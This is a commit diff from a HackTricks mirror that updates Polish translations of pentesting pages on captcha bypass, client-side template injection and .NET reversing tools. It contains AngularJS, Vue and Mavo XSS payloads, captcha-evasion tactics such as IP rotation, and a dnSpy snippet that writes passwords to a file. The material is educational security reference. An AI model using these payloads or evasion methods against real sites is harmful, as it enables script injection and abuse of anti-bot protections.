2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2025-02-21 08:28:27 +00:00

Translated ['pentesting-web/captcha-bypass.md', 'pentesting-web/client-s

This commit is contained in:
Translator 2024-03-10 13:32:04 +00:00
parent 6acff3bce0
commit 107ad2bcf3
3 changed files with 103 additions and 97 deletions
pentesting-web
reversing/reversing-tools-basic-methods

View file

@ -1,4 +1,4 @@
# Ominięcie Captcha
# Bypass Captcha
<details>
@ -6,51 +6,47 @@
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów GitHub.
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>
## Ominięcie Captcha
## Bypass Captcha
Aby **omijać** Captcha podczas **testowania serwera** i automatyzować funkcje wprowadzania użytkownika, można zastosować różne techniki. Celem nie jest osłabienie bezpieczeństwa, ale usprawnienie procesu testowania. Oto kompleksowa lista strategii:
Aby **obejść** captchę podczas **testowania serwera** i zautomatyzować funkcje wprowadzania użytkownika, można zastosować różne techniki. Celem nie jest podważenie bezpieczeństwa, ale usprawnienie procesu testowania. Oto kompleksowa lista strategii:
1. **Manipulacja parametrami**:
* **Pominięcie parametru Captcha**: Unikaj wysyłania parametru Captcha. Spróbuj zmienić metodę HTTP z POST na GET lub inne czasowniki oraz zmienić format danych, takie jak przełączanie między danymi formularza a JSON.
* **Wysłanie pustego Captcha**: Prześlij żądanie z obecnym, ale pustym parametrem Captcha.
1. **Manipulacja Parametrami**:
* **Pominięcie Parametru Captcha**: Unikaj wysyłania parametru captchy. Eksperymentuj z zmianą metody HTTP z POST na GET lub inne czasowniki oraz zmieniaj format danych, takie jak przełączanie między danymi formularza a JSON.
* **Wysłanie Pustej Captchy**: Prześlij żądanie z obecnym parametrem captchy, ale pozostaw go pusty.
2. **Ekstrakcja i ponowne wykorzystanie wartości**:
* **Inspekcja kodu źródłowego**: Szukaj wartości Captcha w kodzie źródłowym strony.
* **Analiza plików cookie**: Sprawdź pliki cookie, aby sprawdzić, czy wartość Captcha jest przechowywana i ponownie wykorzystywana.
* **Ponowne wykorzystanie starych wartości Captcha**: Spróbuj ponownie użyć wcześniej udanych wartości Captcha.
* **Manipulacja sesją**: Spróbuj użyć tej samej wartości Captcha w różnych sesjach lub tym samym identyfikatorze sesji.
2. **Wydobycie i Ponowne Wykorzystanie Wartości**:
* **Inspekcja Kodu Źródłowego**: Szukaj wartości captchy w kodzie źródłowym strony.
* **Analiza Ciasteczek**: Sprawdź ciasteczka, aby sprawdzić, czy wartość captchy jest przechowywana i ponownie używana.
* **Ponowne Wykorzystanie Starych Wartości Captchy**: Spróbuj ponownie użyć wcześniej udanych wartości captchy. Pamiętaj, że mogą one wygasnąć w dowolnym momencie.
* **Manipulacja Sesją**: Spróbuj użyć tej samej wartości captchy w różnych sesjach lub tym samym identyfikatorze sesji.
3. **Automatyzacja i rozpoznawanie**:
* **Captcha matematyczne**: Jeśli Captcha wymaga operacji matematycznych, zautomatyzuj proces obliczania.
* **Rozpoznawanie obrazów**:
* Dla Captcha, które wymagają odczytywania znaków z obrazu, ręcznie lub programowo określ całkowitą liczbę unikalnych obrazów. Jeśli zestaw jest ograniczony, możesz zidentyfikować każdy obraz za pomocą jego skrótu MD5.
* Wykorzystaj narzędzia do optycznego rozpoznawania znaków (OCR), takie jak [Tesseract OCR](https://github.com/tesseract-ocr/tesseract), do automatycznego odczytywania znaków z obrazów.
3. **Automatyzacja i Rozpoznawanie**:
* **Captchy Matematyczne**: Jeśli captcha obejmuje operacje matematyczne, zautomatyzuj proces obliczeń.
* **Rozpoznawanie Obrazów**:
* Dla captchy, która wymaga odczytania znaków z obrazu, ręcznie lub programowo określ całkowitą liczbę unikalnych obrazów. Jeśli zestaw jest ograniczony, możesz zidentyfikować każdy obraz za pomocą jego skrótu MD5.
* Wykorzystaj narzędzia do optycznego rozpoznawania znaków (OCR) takie jak [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) do automatycznego odczytywania znaków z obrazów.
4. **Dodatkowe techniki**:
* **Testowanie limitu szybkości**: Sprawdź, czy aplikacja ogranicza liczbę prób lub zgłoszeń w określonym czasie i czy ten limit można ominąć lub zresetować.
* **Usługi zewnętrzne**: Wykorzystaj usługi lub interfejsy API do rozwiązywania Captcha automatycznie.
* **Rotacja sesji i adresów IP**: Często zmieniaj identyfikatory sesji i adresy IP, aby uniknąć wykrycia i blokowania przez serwer.
* **Manipulacja User-Agent i nagłówkami**: Zmień User-Agent i inne nagłówki żądania, aby naśladować różne przeglądarki lub urządzenia.
* **Analiza Captcha dźwiękowego**: Jeśli dostępna jest opcja Captcha dźwiękowego, użyj usług rozpoznawania mowy na tekst do interpretacji i rozwiązania Captcha.
4. **Dodatkowe Techniki**:
* **Testowanie Limitu Częstotliwości**: Sprawdź, czy aplikacja ogranicza liczbę prób lub zgłoszeń w określonym czasie i czy ten limit można ominąć lub zresetować.
* **Usługi Zewnętrzne**: Skorzystaj z usług lub interfejsów API do rozwiązywania captchy, które oferują zautomatyzowane rozpoznawanie i rozwiązywanie captchy.
* **Rotacja Sesji i Adresów IP**: Często zmieniaj identyfikatory sesji i adresy IP, aby uniknąć wykrycia i blokady przez serwer.
* **Manipulacja User-Agent i Nagłówkami**: Zmień User-Agent i inne nagłówki żądania, aby naśladować różne przeglądarki lub urządzenia.
* **Analiza Captchy Audio**: Jeśli dostępna jest opcja captchy audio, użyj usług rozpoznawania mowy do interpretacji i rozwiązania captchy.
## Usługi online do ominięcia Captcha
## Usługi Online do rozwiązywania captchy
### [Capsolver](https://www.capsolver.com/)
Automatyczne narzędzie do rozwiązywania Captcha Capsolver oferuje **najbardziej przystępną i szybką metodę rozwiązywania Captcha**. Możesz szybko zintegrować je ze swoim programem za pomocą prostej opcji integracji, aby osiągnąć najlepsze wyniki w kilka sekund.
Capsolver ma wskaźnik sukcesu wynoszący 99,15% i może **rozwiązywać ponad 10 milionów Captcha na minutę**. Oznacza to, że twoja automatyzacja lub skrapowanie będzie miało czas pracy wynoszący 99,99%. Jeśli masz duży budżet, możesz kupić pakiet Captcha.
Za najniższą cenę na rynku możesz otrzymać różne rozwiązania, w tym reCAPTCHA V2, reCAPTCHA V3, hCaptcha, hCaptcha Click, reCaptcha click, Funcaptcha Click, FunCaptcha, datadome captcha, aws captcha, picture-to-text, binance / coinmarketcap captcha, geetest v3 / v3 i wiele innych. Z tym serwisem **0,1 s to najwolniejsza prędkość, jaką kiedykolwiek zmierzono**.
Automatyczny rozwiązywacz captchy Capsolver oferuje **przystępną i szybką rozwiązanie captchy**. Możesz szybko zintegrować go ze swoim programem za pomocą prostej opcji integracji, aby osiągnąć najlepsze wyniki w kilka sekund. Potrafi rozwiązywać reCAPTCHA V2 i V3, hCaptcha, FunCaptcha, datadome, captchę aws, obraz-do-tekstu, captchę binance / coinmarketcap, geetest v3 i wiele innych. Jednak nie jest to typowe obejście.
<details>
@ -58,10 +54,10 @@ Za najniższą cenę na rynku możesz otrzymać różne rozwiązania, w tym reCA
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów GitHub.
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>

View file

@ -1,29 +1,29 @@
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów GitHub.
</details>
# Podsumowanie
To jest jak [**Server Side Template Injection**](ssti-server-side-template-injection/), ale po stronie **klienta**. **SSTI** pozwala na **wykonanie kodu** na zdalnym serwerze, a **CSTI** pozwala na **wykonanie dowolnego kodu JavaScript** na ofierze.
To jest jak [**Wstrzyknięcie Szablonu Po Stronie Serwera**](ssti-server-side-template-injection/), ale po stronie **klienta**. **SSTI** może pozwolić Ci na **wykonanie kodu** na zdalnym serwerze, a **CSTI** może pozwolić Ci na **wykonanie dowolnego kodu JavaScript** w przeglądarce ofiary.
Sposób **testowania** tej podatności jest bardzo **podobny** do przypadku **SSTI**, interpreter oczekuje, że coś zostanie wykonane **między podwójnymi kluczami** i to zostanie wykonane. Na przykład, używając czegoś takiego jak: `{{ 7-7 }}`, jeśli serwer jest **podatny**, zobaczysz `0`, a jeśli nie, zobaczysz oryginalne: `{{ 7-7 }}`
**Testowanie** tej podatności jest bardzo **podobne** jak w przypadku **SSTI**, interpreter oczekuje **szablonu** i go wykonuje. Na przykład, z ładunkiem jak `{{ 7-7 }}`, jeśli aplikacja jest **podatna**, zobaczysz `0`, a jeśli nie, zobaczysz oryginalny tekst: `{{ 7-7 }}`
# AngularJS
AngularJS to powszechnie używany framework JavaScript, który współdziała z HTML za pomocą atrybutów znanych jako dyrektywy, z czego jedną z nich jest **`ng-app`**. Ta dyrektywa pozwala AngularJS przetwarzać zawartość HTML, umożliwiając wykonywanie wyrażeń JavaScript wewnątrz podwójnych nawiasów klamrowych.
AngularJS to powszechnie używany framework JavaScript, który współdziała z HTML za pomocą atrybutów znanych jako dyrektywy, znaną z nich jest dyrektywa **`ng-app`**. Ta dyrektywa pozwala AngularJS przetwarzać zawartość HTML, umożliwiając wykonywanie wyrażeń JavaScript wewnątrz podwójnych nawiasów klamrowych.
W przypadkach, gdy dane wprowadzane przez użytkownika są dynamicznie wstawiane do ciała HTML oznaczonego jako `ng-app`, możliwe jest wykonanie dowolnego kodu JavaScript. Można to osiągnąć, wykorzystując składnię AngularJS wewnątrz wprowadzanego tekstu. Poniżej znajdują się przykłady demonstrujące, jak można wykonać kod JavaScript:
W sytuacjach, gdzie dane wprowadzane przez użytkownika są dynamicznie wstawiane do treści HTML oznaczonej jako `ng-app`, możliwe jest wykonanie dowolnego kodu JavaScript. Można to osiągnąć, wykorzystując składnię AngularJS wewnątrz wprowadzanego tekstu. Poniżej znajdują się przykłady demonstrujące, jak kod JavaScript może być wykonany:
```javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
@ -32,25 +32,25 @@ W przypadkach, gdy dane wprowadzane przez użytkownika są dynamicznie wstawiane
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
```
Możesz znaleźć bardzo **podstawowy przykład online** tej podatności w **AngularJS** na stronie [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) oraz w **[Burp Suite Academy](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)**
Możesz znaleźć bardzo **podstawowy przykład online** tej podatności w **AngularJS** pod adresem [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) oraz na stronie **[Burp Suite Academy](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)**
{% hint style="danger" %}
[**Angular 1.6 usunął sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html#:\~:text=The%20Angular%20expression%20sandbox%20will,smaller%20and%20easier%20to%20maintain.\&text=Removing%20the%20expression%20sandbox%20does,surface%20of%20Angular%201%20applications.) więc od tej wersji powinien działać payload taki jak `{{constructor.constructor('alert(1)')()}}` lub `<input ng-focus=$event.view.alert('XSS')>`.
[**Angular 1.6 usunął piaskownicę**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html#:\~:text=The%20Angular%20expression%20sandbox%20will,smaller%20and%20easier%20to%20maintain.\&text=Removing%20the%20expression%20sandbox%20does,surface%20of%20Angular%201%20applications.) więc od tej wersji ładunek taki jak `{{constructor.constructor('alert(1)')()}}` lub `<input ng-focus=$event.view.alert('XSS')>` powinien działać.
{% endhint %}
# VueJS
Możesz znaleźć **podatną implementację vue.js** pod adresem [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
Działający payload: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D)
Możesz znaleźć **podatną implementację Vue** pod adresem [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
Działający ładunek: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D)
A **źródłowy kod** podatnego przykładu znajduje się tutaj: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
A **kod źródłowy** przykładu podatności znajdziesz tutaj: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
```markup
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
```
Naprawdę dobry post na temat CSTI w VUE można znaleźć pod adresem [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
## **V3**
Bardzo dobry post na temat CSTI w VUE można znaleźć pod adresem [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
```
{{_openBlock.constructor('alert(1)')()}}
```
@ -62,7 +62,7 @@ Kredyt: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/resea
```
Kredyt: [Mario Heiderich](https://twitter.com/cure53berlin)
**Sprawdź więcej ładunków VUE na** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
**Sprawdź więcej ładunków VUE w** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
# Mavo
@ -80,9 +80,9 @@ javascript:alert(1)%252f%252f..%252fcss-images
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
```
**Więcej payloadów w** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
**Więcej ładunków w** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
# **Lista wykrywania Brute-Force**
# **Lista detekcji ataków Brute-Force**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
@ -93,10 +93,10 @@ javascript:alert(1)%252f%252f..%252fcss-images
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) **i** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **repozytoriów GitHub.**
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -1,20 +1,20 @@
# Narzędzia do Odwracania i Podstawowe Metody
# Narzędzia do Reversingu i Podstawowe Metody
<details>
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Zacznij naukę hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>
## Narzędzia do Odwracania oparte na ImGui
## Narzędzia do Reversingu oparte na ImGui
Oprogramowanie:
@ -33,17 +33,17 @@ Oprogramowanie:
* [https://www.pnfsoftware.com/jeb/demo](https://www.pnfsoftware.com/jeb/demo)
* [https://github.com/wwwg/wasmdec](https://github.com/wwwg/wasmdec)
## Dekompilator .Net
## Dekompilator .NET
### [dotPeek](https://www.jetbrains.com/decompiler/)
dotPeek to dekompilator, który **dekompiluje i analizuje wiele formatów**, w tym **biblioteki** (.dll), pliki metadanych systemu Windows (.winmd) i **pliki wykonywalne** (.exe). Po dekompilacji, zestaw można zapisać jako projekt Visual Studio (.csproj).
dotPeek to dekompilator, który **dekompiluje i analizuje wiele formatów**, w tym **biblioteki** (.dll), pliki metadanych systemu Windows (.winmd) i **pliki wykonywalne** (.exe). Po dekompilacji zestawu można zapisać jako projekt Visual Studio (.csproj).
Zaletą jest to, że jeśli utracony kod źródłowy wymaga przywrócenia z archiwalnego zestawu, ta czynność może zaoszczędzić czas. Ponadto dotPeek zapewnia wygodną nawigację po zdekompilowanym kodzie, co czyni go jednym z doskonałych narzędzi do analizy algorytmów Xamarin.
### [.Net Reflector](https://www.red-gate.com/products/reflector/)
### [.NET Reflector](https://www.red-gate.com/products/reflector/)
Z kompleksowym modelem dodatków i interfejsem API rozszerzającym narzędzie, .NET Reflector oszczędza czas i upraszcza rozwój. Przejrzyjmy różnorodność usług inżynierii wstecznej, które oferuje to narzędzie:
Dzięki kompleksowemu modelowi dodatków i interfejsowi API rozszerzającemu narzędzie, .NET Reflector oszczędza czas i upraszcza rozwój. Przejrzyjmy różnorodne usługi inżynierii wstecznej, jakie oferuje to narzędzie:
* Zapewnia wgląd w sposób przepływu danych przez bibliotekę lub komponent
* Zapewnia wgląd w implementację i użycie języków i frameworków .NET
@ -55,13 +55,12 @@ Z kompleksowym modelem dodatków i interfejsem API rozszerzającym narzędzie, .
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
[Wtyczka ILSpy dla Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Możesz ją mieć w dowolnym systemie operacyjnym (możesz zainstalować ją bezpośrednio z VSCode, nie trzeba pobierać z git. Kliknij **Extensions** i **szukaj ILSpy**).\
Jeśli musisz **dekompilować**, **modyfikować** i **ponownie kompilować**, możesz użyć: [**https://github.com/0xd4d/dnSpy/releases**](https://github.com/0xd4d/dnSpy/releases) (**Kliknij prawym przyciskiem -> Modify Method** aby zmienić coś wewnątrz funkcji).\
Możesz także spróbować [https://www.jetbrains.com/es-es/decompiler/](https://www.jetbrains.com/es-es/decompiler/)
Jeśli musisz **dekompilować**, **modyfikować** i **ponownie kompilować**, możesz użyć [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) lub aktywnie utrzymywanego forka, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Kliknij prawym przyciskiem -> Modify Method** aby zmienić coś wewnątrz funkcji).
### Logowanie DNSpy
Aby sprawić, że **DNSpy zaloguje pewne informacje do pliku**, możesz użyć tych linii .Net:
```bash
Aby sprawić, że **DNSpy zaloguje pewne informacje do pliku**, możesz użyć tego fragmentu:
```cs
using System.IO;
path = "C:\\inetpub\\temp\\MyTest2.txt";
File.AppendAllText(path, "Password: " + password + "\n");
@ -87,13 +86,13 @@ I kliknij **skompiluj**:
![](<../../.gitbook/assets/image (314) (1) (1).png>)
Następnie zapisz nowy plik w _**Plik >> Zapisz moduł...**_:
Następnie zapisz nowy plik za pomocą _**Plik >> Zapisz moduł...**_:
![](<../../.gitbook/assets/image (279).png>)
Jest to konieczne, ponieważ jeśli tego nie zrobisz, podczas **uruchamiania** kodu zostanie zastosowanych kilka **optymalizacji**, co może spowodować, że podczas debugowania **punkt przerwania nie zostanie osiągnięty** lub niektóre **zmienne nie będą istniały**.
Jest to konieczne, ponieważ jeśli tego nie zrobisz, podczas **uruchamiania** kodu zostanie zastosowanych kilka **optymalizacji** i może się zdarzyć, że podczas debugowania **punkt przerwania nie zostanie osiągnięty** lub niektóre **zmienne nie będą istni**.
Następnie, jeśli twoja aplikacja .Net jest **uruchamiana** przez **IIS**, możesz ją **ponownie uruchomić** za pomocą:
Następnie, jeśli twoja aplikacja .NET jest **uruchamiana** przez **IIS**, możesz ją **ponownie uruchomić** za pomocą:
```
iisreset /noforce
```
@ -101,7 +100,7 @@ Następnie, aby rozpocząć debugowanie, należy zamknąć wszystkie otwarte pli
![](<../../.gitbook/assets/image (280).png>)
Następnie wybierz **w3wp.exe**, aby dołączyć do serwera **IIS** i kliknij **attach**:
Następnie wybierz **w3wp.exe**, aby dołączyć do serwera **IIS**, i kliknij **attach**:
![](<../../.gitbook/assets/image (281).png>)
@ -115,7 +114,7 @@ Kliknij dowolny moduł w **Modules** i wybierz **Open All Modules**:
![](<../../.gitbook/assets/image (284).png>)
Kliknij prawym przyciskiem myszy dowolny moduł w **Assembly Explorer** i wybierz **Sort Assemblies**:
Kliknij prawym przyciskiem myszy dowolny moduł w **Assembly Explorer** i kliknij **Sort Assemblies**:
![](<../../.gitbook/assets/image (285).png>)
@ -138,26 +137,26 @@ Kliknij prawym przyciskiem myszy dowolny moduł w **Assembly Explorer** i wybier
![](<../../.gitbook/assets/image (136).png>)
Następnie, gdy rozpoczynasz debugowanie, **wykonanie zostanie zatrzymane po załadowaniu każdego DLL**, a gdy rundll32 załaduje twoje DLL, wykonanie zostanie zatrzymane.
Następnie, gdy rozpoczniesz debugowanie, **wykonanie zostanie zatrzymane po załadowaniu każdego DLL**, a gdy rundll32 załaduje twoje DLL, wykonanie zostanie zatrzymane.
Ale jak uzyskać dostęp do kodu DLL, który został załadowany? Korzystając z tej metody, nie wiem jak.
Ale jak uzyskać dostęp do kodu załadowanego DLL? Korzystając z tej metody, nie wiem jak.
### Korzystanie z x64dbg/x32dbg
* **Załaduj rundll32** (64 bity w C:\Windows\System32\rundll32.exe i 32 bity w C:\Windows\SysWOW64\rundll32.exe)
* **Zmień linię poleceń** ( _File --> Change Command Line_ ) i ustaw ścieżkę do pliku DLL i funkcję, którą chcesz wywołać, na przykład: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
* Zmień _Options --> Settings_ i wybierz "**DLL Entry**".
* Następnie **rozpocznij wykonanie**, debugger zatrzyma się przy każdym głównym elemencie DLL, w pewnym momencie zatrzymasz się w **wejściu DLL twojego DLL**. Następnie wyszukaj punkty, w których chcesz ustawić punkt przerwania.
* Następnie **rozpocznij wykonanie**, debugger zatrzyma się przy każdym głównym elemencie DLL, w pewnym momencie zatrzymasz się w **wejściu DLL twojego DLL**. Następnie wyszukaj miejsca, w których chcesz ustawić punkt przerwania.
Zauważ, że gdy wykonanie zostanie zatrzymane z jakiegokolwiek powodu w win64dbg, możesz zobaczyć **w jakim kodzie się znajdujesz** patrząc na **górę okna win64dbg**:
![](<../../.gitbook/assets/image (137).png>)
Następnie, patrząc na to, możesz zobaczyć, kiedy wykonanie zostało zatrzymane w DLL, którą chcesz debugować.
Następnie, patrząc na to, możesz zobaczyć, kiedy wykonanie zostało zatrzymane w interesującym ci DLL.
